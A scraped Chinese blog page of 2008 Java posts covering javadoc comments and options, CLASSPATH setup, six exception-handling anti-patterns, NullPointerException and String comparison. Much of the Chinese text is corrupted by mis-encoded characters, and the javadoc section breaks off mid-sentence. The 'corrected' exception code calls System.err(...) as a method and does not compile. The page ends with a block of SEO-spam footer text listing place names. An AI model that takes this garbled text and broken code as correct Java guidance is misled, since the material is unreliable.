            /**
            * show 方法的簡(jiǎn)述.
            * <p>show 方法的詳細(xì)說(shuō)明第一行<br>
            * show 方法的詳細(xì)說(shuō)明第二行
            * @param b true 表示顯示,false 表示隱藏
            * @return 沒(méi)有返回值
            */
            public void show(boolean b) {
            frame.show(b);
            }
            第一部分是簡(jiǎn)述。文檔中,對(duì)于屬性和方法都是先有一個(gè)列表,然后才在后面一個(gè)一個(gè)的詳細(xì)的說(shuō)明。列表中屬性名或者方法名后面那段說(shuō)明就是簡(jiǎn)述。如下圖中被紅框框選的部分:
             
            簡(jiǎn)述部分寫(xiě)在一段文檔注釋的最前面,第一個(gè)點(diǎn)號(hào) (.) 之前 (包括點(diǎn)號(hào))。換句話說(shuō),就是用第一個(gè)點(diǎn)號(hào)分隔文檔注釋,之前是簡(jiǎn)述,之后是第二部分和第三部分。如上例中的 “* show 方法的簡(jiǎn)述.”。
            有時(shí),即使正確地以一個(gè)點(diǎn)號(hào)作為分隔,javadoc 仍然會(huì)出錯(cuò),把點(diǎn)號(hào)后面的部分也做為了第一部分。為了解決這個(gè)問(wèn)題,我們可以使用一個(gè) <p> 標(biāo)志將第二分部分開(kāi)為下一段,如上例的“* <p>show 方法的詳細(xì)說(shuō)明第一行 ....”。除此之外,我們也可以使用 <br> 來(lái)分隔。
            第二部分是詳細(xì)說(shuō)明部分。該部分對(duì)屬性或者方法進(jìn)行詳細(xì)的說(shuō)明,在格式上沒(méi)有什么特殊的要求,可以包含若干個(gè)點(diǎn)號(hào)。它在文檔中的位置如下圖所示:
             
            這部分文檔在上例中相應(yīng)的代碼是:
            * show 方法的簡(jiǎn)述.
            * <p>show 方法的詳細(xì)說(shuō)明第一行<br>
            * show 方法的詳細(xì)說(shuō)明第二行
            發(fā)現(xiàn)什么了?對(duì)了,簡(jiǎn)述也在其中。這一點(diǎn)要記住了,不要畫(huà)蛇添足——在詳細(xì)說(shuō)明部分中再寫(xiě)一次簡(jiǎn)述哦!
            第三部分是特殊說(shuō)明部分。這部分包括版本說(shuō)明、參數(shù)說(shuō)明、返回值說(shuō)明等。它在文檔中的位置:
             
            第三部分在上例中相應(yīng)的代碼是
            * @param b true 表示顯示,false 表示隱藏
            * @return 沒(méi)有返回值
            除了 @param 和 @return 之外,還有其它的一些特殊標(biāo)記,分別用于對(duì)類、屬性和方法的說(shuō)明……不要推我,我馬上就說(shuō)。
            三. 使用 javadoc 標(biāo)記
            javadoc 標(biāo)記是插入文檔注釋中的特殊標(biāo)記,它們用于標(biāo)識(shí)代碼中的特殊引用。javadoc 標(biāo)記由“@”及其后所跟的標(biāo)記類型和專用注釋引用組成。記住了,三個(gè)部分——@、標(biāo)記類型、專用注釋引用。不過(guò)我寧愿把它分成兩部分:@ 和標(biāo)記類型、專用注釋引用。雖然 @ 和 標(biāo)記類型之間有時(shí)可以用空格符分隔,但是我寧愿始終將它們緊挨著寫(xiě),以減少出錯(cuò)機(jī)會(huì)。
            javadoc 標(biāo)記有如下一些:
             
            下面詳細(xì)說(shuō)明各標(biāo)記。
            1. @see 的使用
            @see 的句法有三種:
            @see 類名
            @see #方法名或?qū)傩悦?br />   @see 類名#方法名或?qū)傩悦?br />   類名,可以根據(jù)需要只寫(xiě)出類名 (如 String) 或者寫(xiě)出類全名 (如 java.lang.String)。那么什么時(shí)候只需要寫(xiě)出類名,什么時(shí)候需要寫(xiě)出類全名呢?
            如果 java 源文件中的 import 語(yǔ)句包含了的類,可以只寫(xiě)出類名,如果沒(méi)有包含,則需要寫(xiě)出類全名。java.lang 也已經(jīng)默認(rèn)被包含了。這和 javac 編譯 java 源文件時(shí)的規(guī)定一樣,所以可以簡(jiǎn)單的用 javac 編譯來(lái)判斷,源程序中 javac 能找到的類,javadoc 也一定能找到;javac 找不到的類,javadoc 也找不到,這就需要使用類全名了。
            方法名或者屬性名,如果是屬性名,則只需要寫(xiě)出屬性名即可;如果是方法名,則需要寫(xiě)出方法名以及參數(shù)類型,沒(méi)有參數(shù)的方法,需要寫(xiě)出一對(duì)括號(hào)。如
             
            有時(shí)也可以偷懶:假如上例中,沒(méi)有 count 這一屬性,那么參考方法 count() 就可以簡(jiǎn)寫(xiě)成 @see count。不過(guò),為了安全起見(jiàn),還是寫(xiě)全 @see count() 比較好。
            @see 的第二個(gè)句法和第三個(gè)句法都是轉(zhuǎn)向方法或者屬性的參考,它們有什么區(qū)別呢?
            第二
          2. 使用 @author、@version 說(shuō)明類
            這兩個(gè)標(biāo)記分別用于指明類的作者和版本。缺省情況下 javadoc 將其忽略,但命令行開(kāi)關(guān) -author 和 -version 可以修改這個(gè)功能,使其包含的信息被輸出。這兩個(gè)標(biāo)記的句法如下:
            @author 作者名
            @version 版本號(hào)
            其中,@author 可以多次使用,以指明多個(gè)作者,生成的文檔中每個(gè)作者之間使用逗號(hào) (,) 隔開(kāi)。@version 也可以使用多次,只有第一次有效,生成的文檔中只會(huì)顯示第一次使用 @version 指明的版本號(hào)。如下例
            /**
            * @author Fancy
            * @author Bird
            * @version Version 1.00
            * @version Version 2.00
            */
            public class TestJavaDoc {
            }
            生成文檔的相關(guān)部分如圖:
             
            從生成文檔的圖示中可以看出,兩個(gè) @author 語(yǔ)句都被編譯,在文檔中生成了作者列表。而兩個(gè) @version 語(yǔ)句中只有第一句被編譯了,只生成了一個(gè)版本號(hào)。
            從圖上看,作者列表是以逗號(hào)分隔的,如果我想分行顯示怎么辦?另外,如果我想顯示兩個(gè)以上的版本號(hào)又該怎么辦?
            ——我們可以將上述兩條 @author 語(yǔ)句合為一句,把兩個(gè) @version 語(yǔ)句也合為一句:
            @author Fancy<br>Bird
            @version Version 1.00<br>Version 2.00
            結(jié)果如圖:
             
            我們這樣做即達(dá)到了目的,又沒(méi)有破壞規(guī)則。@author 之后的作者名和 @version 之后的版本號(hào)都可以是用戶自己定義的任何 HTML 格式,所以我們可以使用 <br> 標(biāo)記將其分行顯示。同時(shí),在一個(gè) @version 中指明兩個(gè)用 <br> 分隔的版本號(hào),也沒(méi)有破壞只顯示第一個(gè) @version 內(nèi)容的規(guī)則。
            3. 使用 @param、@return 和 @exception 說(shuō)明方法
            這三個(gè)標(biāo)記都是只用于方法的。@param 描述方法的參數(shù),@return 描述方法的返回值,@exception 描述方法可能拋出的異常。它們的句法如下:
            @param 參數(shù)名 參數(shù)說(shuō)明
            @return 返回值說(shuō)明
            @exception 異常類名 說(shuō)明
            每一個(gè) @param 只能描述方法的一個(gè)參數(shù),所以,如果方法需要多個(gè)參數(shù),就需要多次使用 @param 來(lái)描述。
            一個(gè)方法中只能用一個(gè) @return,如果文檔說(shuō)明中列了多個(gè) @return,則 javadoc 編譯時(shí)會(huì)發(fā)出警告,且只有第一個(gè) @return 在生成的文檔中有效。
            方法可能拋出的異常應(yīng)當(dāng)用 @exception 描述。由于一個(gè)方法可能拋出多個(gè)異常,所以可以有多個(gè) @exception。每個(gè) @exception 后面應(yīng)有簡(jiǎn)述的異常類名,說(shuō)明中應(yīng)指出拋出異常的原因。需要注意的是,異常類名應(yīng)該根據(jù)源文件的 import 語(yǔ)句確定是寫(xiě)出類名還是類全名。   示例如下:
            public class TestJavaDoc {
            /**
            * @param n a switch
            * @param b excrescent parameter
            * @return true or false
            * @return excrescent return
            * @exception java.lang.Exception throw when switch is 1
            * @exception NullPointerException throw when parameter n is null
            */
            public boolean fun(Integer n) throws Exception {
            switch (n.intValue()) {
            case 0:
            break;
            case 1:
            throw new Exception("Test Only");
            default:
            return false;
            }
            return true;
            }
            }
            使用 javadoc 編譯生成的文檔相關(guān)部分如下圖:
             
            可以看到,上例中 @param b excrescent parameter 一句是多余的,因?yàn)閰?shù)只是一個(gè) n,并沒(méi)有一個(gè) b但是 javadoc 編譯時(shí)并沒(méi)有檢查。因此,寫(xiě)文檔注釋時(shí)一定要正確匹配參數(shù)表與方法中正式參數(shù)表的項(xiàng)目。如果方法參數(shù)表中的參數(shù)是 a,文檔中卻給出對(duì)參數(shù) x 的解釋,或者再多出一個(gè)參數(shù) i,就會(huì)讓人摸不著頭腦了。@exceptin 也是一樣。
            上例程序中并沒(méi)有拋出一個(gè) NullPointerException,但是文檔注釋中為什么要寫(xiě)上這么一句呢,難道又是為了演示?這不是為了演示描述多余的異常也能通過(guò)編譯,而是為了說(shuō)明寫(xiě)異常說(shuō)明時(shí)應(yīng)考運(yùn)行時(shí) (RunTime) 異常的可能性。上例程序中,如果參數(shù) n 是給的一個(gè)空值 (null),那么程序會(huì)在運(yùn)行的時(shí)候拋出一個(gè) NullPointerException,因此,在文檔注釋中添加了對(duì) NullPointerException 的說(shuō)明。
            上例中的 @return 語(yǔ)句有兩個(gè),但是根據(jù)規(guī)則,同一個(gè)方法中,只有第一個(gè) @return 有效,其余的會(huì)被 javadoc 忽略。所以生成的文檔中沒(méi)有出現(xiàn)第二個(gè) @return 的描述。
            講到這里,該怎么寫(xiě)文檔注釋你應(yīng)該已經(jīng)清楚了,下面就開(kāi)始講解 javadoc 的常用命令。
            四. javadoc 命令
            運(yùn)行 javadoc -help 可以看到 javadoc 的用法,這里列舉常用參數(shù)如下:
            用法:
            javadoc [options] [packagenames] [sourcefiles]
            選項(xiàng):
            -public 僅顯示 public 類和成員
            -protected 顯示 protected/public 類和成員 (缺省)
            -package 顯示 package/protected/public 類和成員
            -private 顯示所有類和成員
            -d <directory> 輸出文件的目標(biāo)目錄
            -version 包含 @version 段
            -author 包含 @author 段
            -splitindex 將索引分為每個(gè)字母對(duì)應(yīng)一個(gè)文件
            -windowtitle <text> 文檔的瀏覽器窗口標(biāo)題
            javadoc 編譯文檔時(shí)可以給定包列表,也可以給出源程序文件列表。例如在 CLASSPATH 下有兩個(gè)包若干類如下:
            fancy.Editor
            fancy.Test
            fancy.editor.ECommand
            fancy.editor.EDocument
            fancy.editor.EView
            這里有兩個(gè)包 (fancy 和 fancy.editor) 和 5 個(gè)類。那么編譯時(shí) (Windows 環(huán)境) 可以使用如下 javadoc 命令:
            javadoc fancy\Test.java fancy\Editor.java fancy\editor\ECommand.java fancy\editor\EDocument.java fancy\editor\EView.java
            這是給出 java 源文件作為編譯參數(shù)的方法,注意命令中指出的是文件路徑,應(yīng)該根據(jù)實(shí)際情況改變。也可以是給出包名作為編譯參數(shù),如:
            javadoc fancy fancy.editor
            用瀏覽器打開(kāi)生成文檔的 index.html 文件即可發(fā)現(xiàn)兩種方式編譯結(jié)果的不同,如下圖:
            
            用第二條命令生成的文檔被框架分成了三部分:包列表、類列表和類說(shuō)明。在包列表中選擇了某個(gè)包之后,類列表中就會(huì)列出該包中的所有類;在類列表中選擇了某個(gè)類之后,類說(shuō)明部分就會(huì)顯示出該類的詳細(xì)文檔。而用第一條命令生成的文檔只有兩部分,類列表和類說(shuō)明,沒(méi)有包列表。這就是兩種方式生成文檔的最大區(qū)別了。
            兩種方式編譯還有一點(diǎn)不同,
            下面再來(lái)細(xì)說(shuō)選項(xiàng)。
            -public、-protected、-package、-private 四個(gè)選項(xiàng),只需要任選其一即可。它們指定的顯示類成員的程度。它們顯示的成員多少是一個(gè)包含的關(guān)系,如下表:
            -private (顯示所有類和成員)
            -package (顯示 package/protected/public 類和成員)
            -protected (顯示 protected/public 類和成員)
            -public (僅顯示 public 類和成員)
            -d 選項(xiàng)允許你定義輸出目錄。如果不用 -d 定義輸出目錄,生成的文檔文件會(huì)放在當(dāng)前目錄下。-d 選項(xiàng)的用法是
            -d 目錄名
            目錄名為必填項(xiàng),也就是說(shuō),如果你使用了 -d 參數(shù),就一定要為它指定一個(gè)目錄。這個(gè)目錄必須已經(jīng)存在了,如果還不存在,請(qǐng)?jiān)谶\(yùn)行 javadoc 之前創(chuàng)建該目錄。
            -version 和 -author 用于控制生成文檔時(shí)是否生成 @version 和 @author 指定的內(nèi)容。不加這兩個(gè)參數(shù)的情況下,生成的文檔中不包含版本和作者信息。
            -splitindex 選項(xiàng)將索引分為每個(gè)字母對(duì)應(yīng)一個(gè)文件。默認(rèn)情況下,索引文件只有一個(gè),且該文件中包含所有索引內(nèi)容。當(dāng)然生成文檔內(nèi)容不多的時(shí)候,這樣做非常合適,但是,如果文檔內(nèi)容非常多的時(shí)候,這個(gè)索引文件將包含非常多的內(nèi)容,顯得過(guò)于龐大。使用 -splitindex 會(huì)把索引文件按各索引項(xiàng)的第一個(gè)字母進(jìn)行分類,每個(gè)字母對(duì)應(yīng)一個(gè)文件。這樣,就減輕了一個(gè)索引文件的負(fù)擔(dān)。
            -windowtitle 選項(xiàng)為文檔指定一個(gè)標(biāo)題,該標(biāo)題會(huì)顯示在窗口的標(biāo)題欄上。如果不指定該標(biāo)題,而默認(rèn)的文檔標(biāo)題為“生成的文檔(無(wú)標(biāo)題)”。該選項(xiàng)的用法是:
            -windowtitle 標(biāo)題
            標(biāo)題是一串沒(méi)有包含空格的文本,因?yàn)榭崭穹怯糜诜指舾鲄?shù)的,所以不能包含空格。同 -d 類似,如果指定了 -windowtitle 選項(xiàng),則必須指定標(biāo)題文本。
            到此為止,Java 文檔和 javadoc 就介紹完了。
          posted @ 2008-04-10 15:04 u-s-soldiers 閱讀(234) | 評(píng)論 (0)編輯 收藏


          Java執(zhí)行環(huán)境本身就是一個(gè)平臺(tái),執(zhí)行于這個(gè)平臺(tái)上的程序是已編譯完成的Java程序(Java程序編譯完成之后,會(huì)以.class文件存在)。如果將Java執(zhí)行環(huán)境比喻為操作系統(tǒng),如果設(shè)置Path變量是為了讓操作系統(tǒng)找到指定的工具程序(以Windows來(lái)說(shuō)就是找到.exe文件),則設(shè)置Classpath的目的就是讓Java執(zhí)行環(huán)境找到指定的Java程序(也就是.class文件)。
                  設(shè)置classpath的時(shí)候需要注意,路徑中不要包含到包的名字部分,因?yàn)榘ㄔ趙indows操作系統(tǒng)下)對(duì)應(yīng)到目錄結(jié)構(gòu),例如包 Package com.pwcrab 其實(shí)就是有一個(gè)com\pwcrab的相對(duì)路徑存在。如果該包在C:\java\MyLib 下,完整的路徑是C:\java\MyLib\com\pwcrab ,但是設(shè)置CLASSPATH時(shí),務(wù)必不要包含包部分的路徑。還有一點(diǎn)請(qǐng)注意,CLASSPATH中的 “.”表示是在當(dāng)前目錄下先尋找

          但是,在使用JAR文件時(shí),有一些例外,必須在類路徑中將JAR文件的實(shí)際名稱寫(xiě)的完整清楚,而不僅僅是他們的目錄位置,例如“.;C:\Program Files\Java\jdk1.5.0_06\lib\tools.jar; C:\Program Files\Java\jdk1.5.0_06\lib\rt.jar”(jar文件是zip壓縮格式,其中包括.class文件和jar中的Classpath設(shè)置),每一路徑中間必須以;作為分隔。
                  
          Tips:package中的*.java也要記得編譯。 好像我的主要問(wèn)題是這個(gè),折騰了一個(gè)晚上睡醒一覺(jué)解決了……

          posted @ 2008-04-08 12:24 u-s-soldiers 閱讀(257) | 評(píng)論 (0)編輯 收藏

          你覺(jué)得自己是一個(gè)Java專家嗎?是否肯定自己已經(jīng)全面掌握了Java的異常處理機(jī)制?在下面這段代碼中,你能夠迅速找出異常處理的六個(gè)問(wèn)題嗎?

          1 OutputStreamWriter out = ...
          2 java.sql.Connection conn = ...
          3 try { // ⑸
          4  Statement stat = conn.createStatement();
          5  ResultSet rs = stat.executeQuery(
          6   "select uid, name from user");
          7  while (rs.next())
          8  {
          9   out.println("ID:" + rs.getString("uid") // ⑹
          10    ",姓名:" + rs.getString("name"));
          11  }
          12  conn.close(); // ⑶
          13  out.close();
          14 }
          15 catch(Exception ex) // ⑵
          16 {
          17  ex.printStackTrace(); //⑴,⑷
          18 }


            作為一個(gè)Java程序員,你至少應(yīng)該能夠找出兩個(gè)問(wèn)題。但是,如果你不能找出全部六個(gè)問(wèn)題,請(qǐng)繼續(xù)閱讀本文。

            本文討論的不是Java異常處理的一般性原則,因?yàn)檫@些原則已經(jīng)被大多數(shù)人熟知。我們要做的是分析各種可稱為“反例”(anti-pattern)的違背優(yōu)秀編碼規(guī)范的常見(jiàn)壞習(xí)慣,幫助讀者熟悉這些典型的反面例子,從而能夠在實(shí)際工作中敏銳地察覺(jué)和避免這些問(wèn)題。

            反例之一:丟棄異常

            代碼:15行-18行。

            這段代碼捕獲了異常卻不作任何處理,可以算得上Java編程中的殺手。從問(wèn)題出現(xiàn)的頻繁程度和禍害程度來(lái)看,它也許可以和C/C++程序的一個(gè)惡名遠(yuǎn)播的問(wèn)題相提并論??不檢查緩沖區(qū)是否已滿。如果你看到了這種丟棄(而不是拋出)異常的情況,可以百分之九十九地肯定代碼存在問(wèn)題(在極少數(shù)情況下,這段代碼有存在的理由,但最好加上完整的注釋,以免引起別人誤解)。

            這段代碼的錯(cuò)誤在于,異常(幾乎)總是意味著某些事情不對(duì)勁了,或者說(shuō)至少發(fā)生了某些不尋常的事情,我們不應(yīng)該對(duì)程序發(fā)出的求救信號(hào)保持沉默和無(wú)動(dòng)于衷。調(diào)用一下printStackTrace算不上“處理異常”。不錯(cuò),調(diào)用printStackTrace對(duì)調(diào)試程序有幫助,但程序調(diào)試階段結(jié)束之后,printStackTrace就不應(yīng)再在異常處理模塊中擔(dān)負(fù)主要責(zé)任了。

            丟棄異常的情形非常普遍。打開(kāi)JDK的ThreadDeath類的文檔,可以看到下面這段說(shuō)明:“特別地,雖然出現(xiàn)ThreadDeath是一種‘正常的情形’,但ThreadDeath類是Error而不是Exception的子類,因?yàn)樵S多應(yīng)用會(huì)捕獲所有的Exception然后丟棄它不再理睬。”這段話的意思是,雖然ThreadDeath代表的是一種普通的問(wèn)題,但鑒于許多應(yīng)用會(huì)試圖捕獲所有異常然后不予以適當(dāng)?shù)奶幚恚訨DK把ThreadDeath定義成了Error的子類,因?yàn)镋rror類代表的是一般的應(yīng)用不應(yīng)該去捕獲的嚴(yán)重問(wèn)題??梢?jiàn),丟棄異常這一壞習(xí)慣是如此常見(jiàn),它甚至已經(jīng)影響到了Java本身的設(shè)計(jì)。

            那么,應(yīng)該怎樣改正呢?主要有四個(gè)選擇:

            1、處理異常。針對(duì)該異常采取一些行動(dòng),例如修正問(wèn)題、提醒某個(gè)人或進(jìn)行其他一些處理,要根據(jù)具體的情形確定應(yīng)該采取的動(dòng)作。再次說(shuō)明,調(diào)用printStackTrace算不上已經(jīng)“處理好了異常”。

            2、重新拋出異常。處理異常的代碼在分析異常之后,認(rèn)為自己不能處理它,重新拋出異常也不失為一種選擇。

            3、把該異常轉(zhuǎn)換成另一種異常。大多數(shù)情況下,這是指把一個(gè)低級(jí)的異常轉(zhuǎn)換成應(yīng)用級(jí)的異常(其含義更容易被用戶了解的異常)。

            4、不要捕獲異常。

            結(jié)論一:既然捕獲了異常,就要對(duì)它進(jìn)行適當(dāng)?shù)奶幚?。不要捕獲異常之后又把它丟棄,不予理睬。

            反例之二:不指定具體的異常

            代碼:15行。

            許多時(shí)候人們會(huì)被這樣一種“美妙的”想法吸引:用一個(gè)catch語(yǔ)句捕獲所有的異常。最常見(jiàn)的情形就是使用catch(Exception ex)語(yǔ)句。但實(shí)際上,在絕大多數(shù)情況下,這種做法不值得提倡。為什么呢?

            要理解其原因,我們必須回顧一下catch語(yǔ)句的用途。catch語(yǔ)句表示我們預(yù)期會(huì)出現(xiàn)某種異常,而且希望能夠處理該異常。異常類的作用就是告訴Java編譯器我們想要處理的是哪一種異常。由于絕大多數(shù)異常都直接或間接從java.lang.Exception派生,catch(Exception ex)就相當(dāng)于說(shuō)我們想要處理幾乎所有的異常。

            再來(lái)看看前面的代碼例子。我們真正想要捕獲的異常是什么呢?最明顯的一個(gè)是SQLException,這是JDBC操作中常見(jiàn)的異常。另一個(gè)可能的異常是IOException,因?yàn)樗僮鱋utputStreamWriter。顯然,在同一個(gè)catch塊中處理這兩種截然不同的異常是不合適的。如果用兩個(gè)catch塊分別捕獲SQLException和IOException就要好多了。這就是說(shuō),catch語(yǔ)句應(yīng)當(dāng)盡量指定具體的異常類型,而不應(yīng)該指定涵蓋范圍太廣的Exception類。

            另一方面,除了這兩個(gè)特定的異常,還有其他許多異常也可能出現(xiàn)。例如,如果由于某種原因,executeQuery返回了null,該怎么辦?答案是讓它們繼續(xù)拋出,即不必捕獲也不必處理。實(shí)際上,我們不能也不應(yīng)該去捕獲可能出現(xiàn)的所有異常,程序的其他地方還有捕獲異常的機(jī)會(huì)??直至最后由JVM處理。

            結(jié)論二:在catch語(yǔ)句中盡可能指定具體的異常類型,必要時(shí)使用多個(gè)catch。不要試圖處理所有可能出現(xiàn)的異常。

            反例之三:占用資源不釋放

            代碼:3行-14行。

            異常改變了程序正常的執(zhí)行流程。這個(gè)道理雖然簡(jiǎn)單,卻常常被人們忽視。如果程序用到了文件、Socket、JDBC連接之類的資源,即使遇到了異常,也要正確釋放占用的資源。為此,Java提供了一個(gè)簡(jiǎn)化這類操作的關(guān)鍵詞finally。

            finally是樣好東西:不管是否出現(xiàn)了異常,F(xiàn)inally保證在try/catch/finally塊結(jié)束之前,執(zhí)行清理任務(wù)的代碼總是有機(jī)會(huì)執(zhí)行。遺憾的是有些人卻不習(xí)慣使用finally。

            當(dāng)然,編寫(xiě)finally塊應(yīng)當(dāng)多加小心,特別是要注意在finally塊之內(nèi)拋出的異常??這是執(zhí)行清理任務(wù)的最后機(jī)會(huì),盡量不要再有難以處理的錯(cuò)誤。

            結(jié)論三:保證所有資源都被正確釋放。充分運(yùn)用finally關(guān)鍵詞。

          反例之四:不說(shuō)明異常的詳細(xì)信息

            代碼:3行-18行。

            仔細(xì)觀察這段代碼:如果循環(huán)內(nèi)部出現(xiàn)了異常,會(huì)發(fā)生什么事情?我們可以得到足夠的信息判斷循環(huán)內(nèi)部出錯(cuò)的原因嗎?不能。我們只能知道當(dāng)前正在處理的類發(fā)生了某種錯(cuò)誤,但卻不能獲得任何信息判斷導(dǎo)致當(dāng)前錯(cuò)誤的原因。

            printStackTrace的堆棧跟蹤功能顯示出程序運(yùn)行到當(dāng)前類的執(zhí)行流程,但只提供了一些最基本的信息,未能說(shuō)明實(shí)際導(dǎo)致錯(cuò)誤的原因,同時(shí)也不易解讀。

            因此,在出現(xiàn)異常時(shí),最好能夠提供一些文字信息,例如當(dāng)前正在執(zhí)行的類、方法和其他狀態(tài)信息,包括以一種更適合閱讀的方式整理和組織printStackTrace提供的信息。

            結(jié)論四:在異常處理模塊中提供適量的錯(cuò)誤原因信息,組織錯(cuò)誤信息使其易于理解和閱讀。

            反例之五:過(guò)于龐大的try塊

            代碼:3行-14行。

            經(jīng)常可以看到有人把大量的代碼放入單個(gè)try塊,實(shí)際上這不是好習(xí)慣。這種現(xiàn)象之所以常見(jiàn),原因就在于有些人圖省事,不愿花時(shí)間分析一大塊代碼中哪幾行代碼會(huì)拋出異常、異常的具體類型是什么。把大量的語(yǔ)句裝入單個(gè)巨大的try塊就象是出門(mén)旅游時(shí)把所有日常用品塞入一個(gè)大箱子,雖然東西是帶上了,但要找出來(lái)可不容易。

            一些新手常常把大量的代碼放入單個(gè)try塊,然后再在catch語(yǔ)句中聲明Exception,而不是分離各個(gè)可能出現(xiàn)異常的段落并分別捕獲其異常。這種做法為分析程序拋出異常的原因帶來(lái)了困難,因?yàn)橐淮蠖未a中有太多的地方可能拋出Exception。

            結(jié)論五:盡量減小try塊的體積。

            反例之六:輸出數(shù)據(jù)不完整

            代碼:7行-11行。

            不完整的數(shù)據(jù)是Java程序的隱形殺手。仔細(xì)觀察這段代碼,考慮一下如果循環(huán)的中間拋出了異常,會(huì)發(fā)生什么事情。循環(huán)的執(zhí)行當(dāng)然是要被打斷的,其次,catch塊會(huì)執(zhí)行??就這些,再也沒(méi)有其他動(dòng)作了。已經(jīng)輸出的數(shù)據(jù)怎么辦?使用這些數(shù)據(jù)的人或設(shè)備將收到一份不完整的(因而也是錯(cuò)誤的)數(shù)據(jù),卻得不到任何有關(guān)這份數(shù)據(jù)是否完整的提示。對(duì)于有些系統(tǒng)來(lái)說(shuō),數(shù)據(jù)不完整可能比系統(tǒng)停止運(yùn)行帶來(lái)更大的損失。

            較為理想的處置辦法是向輸出設(shè)備寫(xiě)一些信息,聲明數(shù)據(jù)的不完整性;另一種可能有效的辦法是,先緩沖要輸出的數(shù)據(jù),準(zhǔn)備好全部數(shù)據(jù)之后再一次性輸出。

            結(jié)論六:全面考慮可能出現(xiàn)的異常以及這些異常對(duì)執(zhí)行流程的影響。

            改寫(xiě)后的代碼

            根據(jù)上面的討論,下面給出改寫(xiě)后的代碼。也許有人會(huì)說(shuō)它稍微有點(diǎn)?嗦,但是它有了比較完備的異常處理機(jī)制。

          OutputStreamWriter out = ...
          java.sql.Connection conn = ...
          try {
           Statement stat = conn.createStatement();
           ResultSet rs = stat.executeQuery(
            "select uid, name from user");
           while (rs.next())
           {
            out.println("ID:" + rs.getString("uid") + ",姓名: " + rs.getString("name"));
           }
          }
          catch(SQLException sqlex)
          {
           out.println("警告:數(shù)據(jù)不完整");
           throw new ApplicationException("讀取數(shù)據(jù)時(shí)出現(xiàn)SQL錯(cuò)誤", sqlex);
          }
          catch(IOException ioex)
          {
           throw new ApplicationException("寫(xiě)入數(shù)據(jù)時(shí)出現(xiàn)IO錯(cuò)誤", ioex);
          }
          finally
          {
           if (conn != null) {
            try {
             conn.close();
            }
            catch(SQLException sqlex2)
            {
             System.err(this.getClass().getName() + ".mymethod - 不能關(guān)閉數(shù)據(jù)庫(kù)連接: " + sqlex2.toString());
            }
           }

           if (out != null) {
            try {
             out.close();
            }
            catch(IOException ioex2)
            {
             System.err(this.getClass().getName() + ".mymethod - 不能關(guān)閉輸出文件" + ioex2.toString());
            }
           }
          }

            本文的結(jié)論不是放之四海皆準(zhǔn)的教條,有時(shí)常識(shí)和經(jīng)驗(yàn)才是最好的老師。如果你對(duì)自己的做法沒(méi)有百分之百的信心,務(wù)必加上詳細(xì)、全面的注釋。

            另一方面,不要笑話這些錯(cuò)誤,不妨問(wèn)問(wèn)你自己是否真地徹底擺脫了這些壞習(xí)慣。即使最有經(jīng)驗(yàn)的程序員偶爾也會(huì)誤入歧途,原因很簡(jiǎn)單,因?yàn)樗鼈兇_確實(shí)實(shí)帶來(lái)了“方便”。所有這些反例都可以看作Java編程世界的惡魔,它們美麗動(dòng)人,無(wú)孔不入,時(shí)刻誘惑著你。也許有人會(huì)認(rèn)為這些都屬于雞皮蒜毛的小事,不足掛齒,但請(qǐng)記?。何鹨詯盒《鵀橹?,勿以善小而不為。

          posted @ 2008-04-07 21:25 u-s-soldiers 閱讀(222) | 評(píng)論 (0)編輯 收藏

          NullPointerException顧名思義就是空指針啦~~
          比如獲取一個(gè)String放到一個(gè)變量里的時(shí)候,有沒(méi)有可能沒(méi)取到,然后調(diào)用那些字符串的方法的時(shí)候就樣啦~~
          再比如rs已經(jīng)指到空行了,還要讓它getInt()或getString()~~~

          這個(gè)問(wèn)題是相當(dāng)常見(jiàn)的,需要你比較細(xì)心地一行一行地看代碼,看看有沒(méi)有什么邊界條件沒(méi)有考慮到的。 

          通??罩羔槷惓J侵福寒?dāng)你嘗試調(diào)用某個(gè)對(duì)象實(shí)例的方法時(shí),該對(duì)象實(shí)例的值為NULL,從而導(dǎo)致空指針異常,所以看看第x行中調(diào)用了什么方法,該方法的所屬類就是出現(xiàn)空指針異常的主要載體,再順勢(shì)查找這個(gè)實(shí)例為什么沒(méi)有被賦予正確的值就能排除這個(gè)故障了
          posted @ 2008-04-06 05:29 u-s-soldiers 閱讀(178) | 評(píng)論 (0)編輯 收藏

          熟悉C++的人對(duì)于兩個(gè)字符串比較的代碼一定很了解:
          (string1==string2)
          但在java中,這個(gè)代碼即使在兩個(gè)字符串完全相同的情況下也會(huì)返回false
          Java中必須使用string1.equals(string2)來(lái)進(jìn)行判斷

          補(bǔ)充:
          string s1=new String("Hello");
          string s2=new String("Hello");
          則(s1==s2)=false

          如果:
          string s1="Hello";
          string s2="Hello";
          則(s1==s2)=true;
          因?yàn)樗麄冎赶虻耐粋€(gè)對(duì)象。

          如果把其他變量的值賦給s1和s2,即使內(nèi)容相同,由于不是指向同一個(gè)對(duì)象,也會(huì)返回false。所以建議使用equals(),因?yàn)閑quals比較的才是真正的內(nèi)容。
          posted @ 2008-04-06 01:48 u-s-soldiers 閱讀(580) | 評(píng)論 (0)編輯 收藏

          主站蜘蛛池模板: 乌兰县| 泾源县| 凌源市| 通山县| 视频| 开江县| 石泉县| 镇赉县| 彭泽县| 丽江市| 泽普县| 乐山市| 南投市| 肃宁县| 华容县| 西丰县| 崇信县| 麻栗坡县| 道孚县| 南平市| 永泰县| 青龙| 师宗县| 河池市| 吉安市| 贡觉县| 宁化县| 从江县| 正蓝旗| 清原| 辽源市| 民县| 格尔木市| 石家庄市| 克东县| 扬州市| 义马市| 靖边县| 临泽县| 堆龙德庆县| 正镶白旗|